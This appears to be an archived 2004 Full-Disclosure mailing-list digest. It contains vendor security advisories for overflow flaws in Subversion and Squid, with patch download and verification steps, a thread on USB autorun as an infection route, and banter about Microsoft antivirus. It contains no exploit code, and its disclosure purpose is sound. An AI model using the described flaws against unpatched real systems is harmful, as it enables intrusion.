> >
> > man so much can be made of this its a techy comedy gold mine.
> >
> >
> > "our software sucks so bad that the market for anti virus software for
> > our platform is such a lucrative market that we cant stay out of it"
> >
> > Andre Ludwig CISSP
> >
> > On Wed, 16 Jun 2004 19:41:49 -0400, slacker <leetslackersofthome.net> wrote:
> > >
> > > <snip>
> > > > SEATTLE (Reuters) - Microsoft Corp. (MSFT.O: Quote, Profile,
> > > > Research) is still on track to offer an anti-virus product that will
> > > > compete against similar software offered by Symantec Corp. (SYMC.O:
> > > > Quote, Profile, Research) and Network Associates Inc. (NET.N: Quote,
> > > > Profile, Research) , the world's largest software maker said late on
> > >
> > > Oh yeah, what's the average delay to release on exploit patches? What makes
> > > me think that they are going to be that slow on releasing AV updates? =P
> > >
> > > slacker
> > >
> > >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
>
> --
> "When it absolutely, positively had to be there yesterday: Temporal Express"
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] SUSE Security Announcement: subversion (SuSE-SA:2004:018)

securitysuse.de
Date: Thu Jun 17 2004 - 04:42:59 CDT

-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________

                        SUSE Security Announcement

        Package: subversion
        Announcement-ID: SuSE-SA:2004:018
        Date: Thursday, Jun 17th 2004 09:30 MEST
        Affected products: 8.1, 8.2, 9.0, 9.1
        Vulnerability Type: remote system compromise
        Severity (1-10): 5
        SUSE default package: no
        Cross References: CAN-2004-0413

    Content of this advisory:
        1) security vulnerability resolved: heap overflow
           problem description, discussion, solution and upgrade information
        2) pending vulnerabilities, solutions, workarounds:
             - icecast
             - sitecopy
             - cadaver
             - OpenOffice_org
             - tripwire
             - postgresql
             - lha
             - XDM
             - mod_proxy
        3) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion, solution, upgrade information

    Subversion is a version control system like the well known CVS.
    The subversion code is vulnerable to a remotely exploitable buffer
    overflow on the heap. The bug appears before any authentication took
    place. An attacker is able to execute arbitray code by abusing this
    vulnerability.

    There is no temporary workaround known.

    Please download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command "rpm -Fhv file.rpm" to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered to install from the maintenance web.

    x86 Platform:

    SUSE Linux 9.1:
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/subversion-1.0.0-73.7.i586.rpm
      775edc02ae610d8062e808d37540c0ea
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/subversion-1.0.0-73.7.i586.patch.rpm
      93d2ddd82390857d7c2ed5793d2312eb
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/subversion-1.0.0-73.7.src.rpm
      8498e3e8911260f8f06c285946f12437

    SUSE Linux 9.0:
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/subversion-0.27.0-209.i586.rpm
      deeeef548aa11dfe1b176bf5a5af9d75
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/subversion-0.27.0-209.i586.patch.rpm
      38a6d786f0f0b42e68117a277b4db309
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/subversion-0.27.0-209.src.rpm
      0c69c5a9665e75504d2c4bf8c51807a6

    SUSE Linux 8.2:
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/subversion-0.17.1-98.i586.rpm
      1fbd241f1dfb9a95f4eb6fe224eb40bb
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/subversion-0.17.1-98.i586.patch.rpm
      b553edab8ea07dac53ad26d147dd029d
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/subversion-0.17.1-98.src.rpm
      89d2b6eedbb67d8e3be5e1c7c334792f

    SUSE Linux 8.1:
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/subversion-0.23.0-60.i586.rpm
      3e1d7172bc213bcdb7edc88b7653ab1b
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/subversion-0.23.0-60.i586.patch.rpm
      d4897a9197e3c8518a132a0d64cc41e5
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/subversion-0.23.0-60.src.rpm
      3ebbd71afb51b6becb15f12e813d705a

    x86-64 Platform:

    SUSE Linux 9.1:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/subversion-1.0.0-73.7.x86_64.rpm
      da1b75e7cf629b65f20b75295df216d8
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/subversion-1.0.0-73.7.x86_64.patch.rpm
      15ec6b033bc85e22b78b1638f13ffc9b
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/subversion-1.0.0-73.7.src.rpm
      2b738a9a5e0aabcdee60d19b74371580

    SUSE Linux 9.0:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/subversion-0.27.0-209.x86_64.rpm
      af042607c6ad7e55c248f47177e8c166
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/subversion-0.27.0-209.x86_64.patch.rpm
      cbffe53ef02a36d63b71d2f86c17d861
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/subversion-0.27.0-209.src.rpm
      d16a485c5d3983b2b4322405abe3c01a

______________________________________________________________________________

2) Pending vulnerabilities in SUSE Distributions and Workarounds:

    - icecast
    The icecast service is vulnerable to a remote denial-of-service
    attack. Update packages will be available soon.

    - sitecopy
    The sitecopy package includes a vulnerable version of the
    neon library (CAN-2004-0179, CAN-2004-0398). Update packages will be
    available soon.

    - cadaver
    The cadaver package includes a vulnerable version of the
    neon library (CAN-2004-0179, CAN-2004-0398). Update packages will be
    available soon.

    - OpenOffice_org
    The OpenOffice_org package includes a vulnerable version
    of the neon library (CAN-2004-0179, CAN-2004-0398). Update packages
    will be available soon.

    - tripwire
    A format string bug in tripwire can be exploited locally
    to gain root permissions. Update packages will be available soon.

    - postgresql
    A buffer overflow in psqlODBC could be exploited to crash the
    application using it. E.g. a PHP script that uses ODBC to access a
    PostgreSQL database can be utilized to crash the surrounding Apache
    web-server. Other parts of PostgreSQL are not affected.
    Update packages will be available soon.

    - lha
    Minor security fix for a buffer overflow while handling command
    line options. This buffer overflow could be exploited in conjunction
    with other mechanisms to gain higher privileges or access the system
    remotely.

    - XDM/XFree86
    This update resolves random listening to ports by XDM
    that allows to connect via the XDMCP. SUSE LINUX 9.1
    is affected only.
    New packages are currently being tested and will be
    available soon.

    - mod_proxy
    A buffer overflow can be triggered by malicious remote
    servers that return a negative Content-Length value.
    This vulnerability can be used to execute commands remotely
    New packages are currently being tested and will be
    available soon.

______________________________________________________________________________

3) standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key securitysuse.de),
       the checksums show proof of the authenticity of the package.
       We disrecommend to subscribe to security lists which cause the
       email message containing the announcement to be modified so that
       the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       filename of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an un-installed rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg < announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "buildsuse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .

  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-securitysuse.com
        - general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-subscribesuse.com>.

    suse-security-announcesuse.com
        - SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-announce-subscribesuse.com>.

    For general information or the frequently asked questions (faq)
    send mail to:
        <suse-security-infosuse.com> or
        <suse-security-faqsuse.com> respectively.

    =====================================================================
    SUSE's security contact is <securitysuse.com> or <securitysuse.de>.
    The <securitysuse.de> public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID Date User ID
pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <securitysuse.de>
pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <buildsuse.de>

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

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
DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE=
=LRKC
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iQEVAwUBQNFWGney5gA9JdPZAQGgUQf/ZNh0/+YZsDjSycF5KW2g2AlACguDGI86
x5JO20oqMewBMMhudI56xVba7l2AZTEev1cTbdGUkyxCXuWlKxt7sOPJ1xuiiWh5
2qzTXASPT5k/kKbK/R8A19Oa+MqtOCcvO7QbuRrbNWPaiqWImJGAY0T0ZqGsWsze
r+l/mmxWAdQDiozCFJvI80wQZodGROtvw4nKnzDXnPLAsQE69ye/yqdWAQzYk4+j
up1lUcrBRGvpi7xWhMA1WBFBFOAHujJi0s48jDsKd6PsapqD+8pgg5x/q081rbnp
dv+sAB3w7+05ooGOsa3Po6+K6naf6ryMGXeMu8MsKrzUm72bXVXEdg==
=HaUH
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: Chris Cappuccio (chrisnmedia.net)
Date: Thu Jun 17 2004 - 04:45:56 CDT

Todd Burroughs [toddhostopia.com] wrote:
> They are planning to get into a market that gaurds against the failures
> in their own product. I don't like this, as it seems that they are going
> to be in a position to intentionally make holes that their "anti-virus"
> software will fix. If we had a more competitive market in this type of

I hate to break it to you, but being the Monopoly, they've been in this
position since the days of MS-DOS. The fix was always to buy the next version.
Of course, now we're talking about a more specific type of software bug than we
were before. There's nothing new and exciting about Microsoft entering
the AV market, except, perhaps we may see software that is better than
some of the other spew out there.

Ok, that was phrased incorrectly. I couldn't possibly feel _excited_ by this
new software from Microsoft. That would be like rushing to McDonald's for a
salad-in-a-cup. What I mean to say is that Microsoft seems to have an easy
time matching and exceeding the quality of many third parties (maybe since
everyone writes such shit software!)

> software there would be no market for AV software and the AV companies
> would be making better operating systems. Remember, Microsoft is a
> marketing company and they are very good at it and very powerful.
>

You would run an operating system written by Symantec? Commercial AV vendors
are the epitomy of junk software. The thought just makes me cringe. Better
operating systems? Better than what?

> It's sad that we are wasting so much resources on what should be a
> non-problem.
>

The fact that Microsoft has the monopoly reflects social and economic values,
not technical ones. So, it's largely irrelevant to the thousands of people
who happily run other operating systems. If it seems sad to you, then most of
the world probably makes you cry. (Hey, that's OK, it gets to me from time
to time as well)

-c

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] MS Anti Virus?

From: npguy (npguywebsurfer.com.np)
Date: Thu Jun 17 2004 - 06:57:55 CDT

M$ anti-virus free with every Outlook 2005.

On Thursday 17 June 2004 08:41 am, Chris Cappuccio wrote:
> I hate to say this, but I don't think Microsoft software could be any
> worse than Symantec...
>
> Andre Ludwig [andre.ludwiggmail.com] wrote:
> > Think the mafia refers to this as a protection racket...
> >
> > man so much can be made of this its a techy comedy gold mine.
> >
> >
> > "our software sucks so bad that the market for anti virus software for
> > our platform is such a lucrative market that we cant stay out of it"
> >
> > Andre Ludwig CISSP
> >
> > On Wed, 16 Jun 2004 19:41:49 -0400, slacker <leetslackersofthome.net>
wrote:
> > > <snip>
> > >
> > > > SEATTLE (Reuters) - Microsoft Corp. (MSFT.O: Quote, Profile,
> > > > Research) is still on track to offer an anti-virus product that will
> > > > compete against similar software offered by Symantec Corp. (SYMC.O:
> > > > Quote, Profile, Research) and Network Associates Inc. (NET.N: Quote,
> > > > Profile, Research) , the world's largest software maker said late on
> > >
> > > Oh yeah, what's the average delay to release on exploit patches? What
> > > makes me think that they are going to be that slow on releasing AV
> > > updates? =P
> > >
> > > slacker
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] USB Auto run function

From: martin paul (bigsmarty66hotmail.com)
Date: Thu Jun 17 2004 - 07:15:03 CDT

I have been interested in a potential exploit that may or may not be an
issue, I read lately that a potential malicious file could enter a system
via a USB Memory stick with a structured autorun.pif , and this file would
operate even if the screen lock is activated .

_________________________________________________________________
Get a Credit Card - 60 sec online response:
http://ad.au.doubleclick.net/clk;8097459;9106288;b?http://www.anz.com/aus/promo/qantas5000ninemsn
   [AU only]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [ GLSA 200406-13 ] Squid: NTLM authentication helper buffer overflow

From: Kurt Lieber (kliebergentoo.org)
Date: Thu Jun 17 2004 - 07:04:57 CDT

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-13
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Squid: NTLM authentication helper buffer overflow
      Date: June 17, 2004
      Bugs: #53367
        ID: 200406-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Squid contains a bug where it fails to properly check bounds of the
'pass' variable.

Background
==========

Squid contains a bug in the function ntlm_check_auth(). It fails to do
proper bounds checking on the values copyied to the 'pass' variable.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 net-www/squid <= 2.5.5-r1 >= 2.5.5-r2

Description
===========

Squid is a full-featured Web Proxy Cache designed to run on Unix
systems. It supports proxying and caching of HTTP, FTP, and other URLs,
as well as SSL support, cache hierarchies, transparent caching, access
control lists and many other features.

Impact
======

If Squid is configured to use NTLM authentication, an attacker could
exploit this vulnerability by sending a very long password. This could
lead to arbitrary code execution with the permissions of the user
running Squid.

Workaround
==========

There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version.

Resolution
==========

All Squid users should upgrade to the latest stable version:

    # emerge sync

    # emerge -pv ">=net-www/squid-2.5.5-r2"
    # emerge ">=net-www/squid-2.5.5-r2"

References
==========

  [ 1 ] CAN-2004-0541
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0541

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-13.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA0YjpJPpRNiftIEYRAtYyAJ9T6UNlL0CzZtk8zWIqzYoGd152bwCeKP2h
h40A+0ydpGOg7AYM+/Y+1Xs=
=hPmU
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

From: KF (lists) (kf_listssecnetops.com)
Date: Thu Jun 17 2004 - 07:02:28 CDT

The Xbox attempts to rip your audio to the hard disk before playing it
right? This CD really sounds like crap on my Xbox... I am wondering if
the audio cuts in and out because of the copy protection they try to use.
-KF

listnolog.org wrote:

> -------- Original Message --------
> Subject: Caveat Lector: Beastie Boys Evil
> Date: Wed, 16 Jun 2004 01:10:23 -0700
> From: Dragos Ruiu <drkyx.net>
> Organization: All Terrain Ninjas
> To: bugtraqsecurityfocus.com
>
> Well I truly regret actually purchasing a copy of the new Beastie Boys
> album to support them.
>
> It seems that Capitol Records has some sort of new copy protection
> system, that automatically, silently, installs "helpful" copy protection
> software on MacOS and Windows as soon as you insert the CD into
> default systems.
> I'm not sure exactly what it does yet, but I am sure regreting actually
> purchasing said media now... they don't deserve my money if they choose
> to pull stupid stunts like this. Installing software without your
> permission sounds like viral malware behaviour to me. I certainly hope
> the AV companies put signatures into their products for this crap.
>
> They include some sort of uninstaller buried on there for Windows, but
> I see no such thing for MacOS. If anyone has disassembled the
> aforementioned malware already and can save us some time with
> instructions on how to remove it... thanks in advance.
>
> caveat emptor,
> --dr
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] USB Auto run function

From: Harlan Carvey (keydet89yahoo.com)
Date: Thu Jun 17 2004 - 08:35:28 CDT

> I have been interested in a potential exploit that
> may or may not be an
> issue, I read lately that a potential malicious file
> could enter a system
> via a USB Memory stick with a structured autorun.pif
> , and this file would
> operate even if the screen lock is activated .

This is an interesting topic of discussion. Like one
poster, I first saw this in the most recent issue of
2600. I began looking into it, and almost immediately
came up with this particular MS KB article:
http://support.microsoft.com/default.aspx?scid=kb;EN-US;136214

As you can see, KB136214 states pretty clearly that
*be default*, autorun.inf file processing is NOT
enabled for USB-connected thumb drives. I haven't
tested it myself, but another poster has stated that
while items in the "open=" line may not be launched,
the "icon=" line seems to be processed.

I read Gadi's comments:
http://catless.ncl.ac.uk/go/risks/23/41/4

I had some questions for Gadi, and fired off an email
but have yet to hear back.

While I do agree wholeheartedly that USB-connected
devices are definitely an issue within a network
infrastructure, it's not yet clear to me that the pose
the threats that have been presented.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] USB Auto run function

From: Lan Guy (rlanguyhotmail.com)
Date: Thu Jun 17 2004 - 08:50:08 CDT

Not quite, In Windows XP SP2 the system can read the autorun.inf in
removeable media (specifically USB Flash Drives) and start a program or
install etc like a CD rom does.

However I haven't seen it work.

Lan guy

----- Original Message -----
From: "martin paul" <bigsmarty66hotmail.com>
To: <full-disclosurelists.netsys.com>
Sent: Thursday, June 17, 2004 3:15 PM
Subject: [Full-Disclosure] USB Auto run function

> I have been interested in a potential exploit that may or may not be an
> issue, I read lately that a potential malicious file could enter a system
> via a USB Memory stick with a structured autorun.pif , and this file would
> operate even if the screen lock is activated .
>
> _________________________________________________________________
> Get a Credit Card - 60 sec online response:
>
http://ad.au.doubleclick.net/clk;8097459;9106288;b?http://www.anz.com/aus/promo/qantas5000ninemsn
> [AU only]
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: joe (mvpjoeware.net)
Date: Thu Jun 17 2004 - 09:11:06 CDT

My initial thought of a response to this was something along the lines of do
you wear an aluminum foil helmet as you seem to fit the profile... I decided
against that. I mean I still think it but I think this response is
better....

Antivirus software will probably always be around. Why? Because it is mostly
software to prevent uneducated users from hurting themselves and it is
probably impossible to get to a point that all users will be educated and
there won't be ways to hurt themselves and people specifically trying to
hurt them. While AV is simply an extension of the user interface of the OS,
at this point in the game if the OS vendor treats it that way it would
simply result in lawsuits by the AV vendors against the OS vendors which is
why MS will have to sell what they have.

It is possible now to run without AV software and be safe, if you are fully
educated user and take precautions and patch when the patches are available,
you will be pretty safe even if you don't run AV and there are probably many
users on this list that fit that category and don't run AV.

Many of the recent viruses hitting the corporate world haven't been holes in
MS products causing the problem. It has been good social engineering. One of
the more recent ones that had me laughing was an email that came through
with a password protected zip file with the password in the email and the
note sounding like it came from the IT dept. People all over the world
opened that up and ran it. If they would have had to have downloaded it,
chmod'ed it, and then run it they would have done so if the instructions had
said so. Yes you could probably stop this with a simple note in a small
company, maybe 50,100,1000 people. This was a company comprising 250k people
from around the world and no simple note was going to do the trick. You
could also lock machines down to the point that they are merely kiosks as
well but this isn't realistic except in a tightly controlled corporate
environment and even still you would have considerable bitching by users who
wanted more control.

I don't care what OS you run, if it is a user popular OS and if that OS gets
targeted by someone with a clever social engineering scheme, it will have
impact.

I have pretty close ties to MS so most of your post simply make me smirk. I
have met and talked with many developers there and know how busy they are
and that they are mostly good guys trying to do a good job. Now that the
